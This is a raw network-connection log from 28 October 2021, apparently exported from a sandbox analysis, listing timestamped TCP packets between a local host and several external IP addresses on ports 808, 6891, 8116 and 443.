Oct 28, 2021 05:04:26.652985096 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.711194992 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:26.755827904 CEST	808	49825	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.813769102 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.813916922 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.813987970 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.814451933 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.821118116 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.821228981 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:26.877943993 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:26.879041910 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:26.879904032 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:26.975816011 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.982450962 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:26.982501030 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:27.046200037 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.046293020 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.046359062 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.046859026 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.052028894 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.052159071 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.218456030 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.218488932 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.218507051 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.364938021 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:27.364974976 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:27.365081072 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:27.366055965 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:27.367392063 CEST	49828	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:27.492371082 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.527928114 CEST	808	49828	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:27.603734970 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.603760958 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.603821039 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.603849888 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.611921072 CEST	49829	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.659073114 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.659166098 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.659951925 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.742119074 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.778758049 CEST	6891	49829	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.798458099 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:27.798616886 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.799295902 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.826524973 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.826714993 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:27.826781034 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.827370882 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.832333088 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.832350016 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:27.855386972 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:27.855612993 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:27.855684996 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.856164932 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.860935926 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.861038923 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:27.917156935 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:27.917543888 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:27.998712063 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:28.091830015 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.091854095 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.091969967 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.092000008 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.100778103 CEST	49831	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.157735109 CEST	8116	49831	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.210496902 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.210534096 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.210625887 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.211179018 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.211191893 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.385103941 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:28.385129929 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:28.385220051 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:28.385258913 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:28.387744904 CEST	49830	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:28.514389038 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.554013014 CEST	6891	49830	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:28.569343090 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.569437027 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.570564985 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.623831034 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.623898029 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.624171972 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.625792980 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.630369902 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.630397081 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.683701038 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.683975935 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.696129084 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.696245909 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.698266029 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.698288918 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.702977896 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.702994108 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.703020096 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:28.703033924 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:28.873594046 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.873616934 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:28.873677969 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.873722076 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.876992941 CEST	49833	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:28.930382967 CEST	8116	49833	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:29.007581949 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.007628918 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.007709980 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.008316994 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.008335114 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.399585009 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.399694920 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.399795055 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.405188084 CEST	49832	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.405224085 CEST	443	49832	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.525763035 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.525882959 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.526530981 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.526540041 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.530664921 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.530673027 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.530782938 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:29.530797005 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:29.696686983 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:29.857096910 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:29.859390974 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:29.859910011 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.020087957 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.020155907 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.021722078 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.022114992 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.025547981 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.025628090 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.182187080 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.185692072 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.185710907 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.185720921 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.244504929 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:30.244564056 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:30.244606972 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:30.244631052 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:30.246862888 CEST	49834	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:30.246881962 CEST	443	49834	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:30.366785049 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.530337095 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.530505896 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.531433105 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.573698044 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.573734999 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.573959112 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.581362009 CEST	49835	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.694691896 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.694762945 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.694838047 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.696130991 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:30.696643114 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.701021910 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.701095104 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:30.741947889 CEST	808	49835	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.859905005 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.861649990 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:30.861752033 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:30.862483978 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:30.864202023 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.864285946 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:30.864366055 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:31.028006077 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.028024912 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.029448986 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.030044079 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.034811020 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.034949064 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.200953960 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.201450109 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.201482058 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.201498032 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.249341965 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:31.249368906 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:31.249459982 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:31.249499083 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:31.251773119 CEST	49836	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:31.416677952 CEST	808	49836	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:31.433726072 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.589874983 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.589899063 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.589958906 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.592052937 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.597460032 CEST	49837	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.600085974 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.600218058 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.600845098 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.713658094 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.761164904 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:31.761290073 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.762157917 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.762773991 CEST	6891	49837	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.766974926 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.767160892 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.767235994 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.767882109 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.776547909 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.776575089 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:31.809398890 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:31.809545040 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:31.809817076 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.811036110 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.824609041 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.824662924 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:31.872067928 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:31.872528076 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:31.943371058 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:31.943392038 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:32.111790895 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.111812115 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.113795996 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.117743015 CEST	49839	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.165047884 CEST	8116	49839	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.229053974 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.229089975 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.229171038 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.230184078 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.230201006 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.327059031 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:32.327084064 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:32.327178001 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:32.327205896 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:32.329413891 CEST	49838	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:32.466092110 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.495815039 CEST	6891	49838	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:32.519829035 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.520745993 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.521337986 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.574619055 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.574860096 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.575402975 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.575670004 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.579180002 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.579215050 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.632688046 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.632730961 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.632762909 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.632985115 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.724411011 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.724555969 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.725373030 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.725393057 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.732001066 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.732013941 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.732208014 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:32.732219934 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:32.829565048 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.829637051 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:32.829874039 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.835942984 CEST	49841	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:04:32.889381886 CEST	8116	49841	185.56.219.47	192.168.2.3
Oct 28, 2021 05:04:33.054197073 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.054249048 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.057059050 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.057846069 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.057878017 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.420882940 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.420970917 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.420986891 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.421042919 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.426742077 CEST	49840	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.426789045 CEST	443	49840	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.572309017 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.578437090 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.578743935 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.579509020 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.579519033 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.584816933 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.584829092 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.584882021 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:33.584892035 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:33.739358902 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:33.744631052 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.745163918 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.911930084 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:33.912100077 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:33.912467003 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.913419962 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.919605017 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:33.919792891 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.080148935 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.086446047 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.086477995 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.086517096 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.086540937 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.086555958 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.298392057 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:34.298460960 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:34.298537970 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:34.298559904 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:34.301529884 CEST	49842	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:04:34.301568985 CEST	443	49842	192.46.210.220	192.168.2.3
Oct 28, 2021 05:04:34.418157101 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.461437941 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.461468935 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.461694002 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.461724043 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.468902111 CEST	49843	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.576689959 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.576838017 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.577461958 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.587129116 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.635674953 CEST	808	49843	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.739114046 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.739140034 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.739213943 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.740381002 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.745726109 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.745861053 CEST	49844	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:04:34.752440929 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:34.752526999 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.753235102 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.898822069 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.903990984 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.904103994 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.904146910 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.904237032 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:34.918441057 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:34.918556929 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:34.918618917 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.919009924 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.922424078 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:34.922523022 CEST	49845	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:04:35.087788105 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.087817907 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.087835073 CEST	6891	49845	45.77.0.96	192.168.2.3
Oct 28, 2021 05:04:35.280539036 CEST	808	49844	143.244.140.214	192.168.2.3
Oct 28, 2021 05:04:35.280570984 CEST	808	49844	143.244.140.214	192.168.2.3
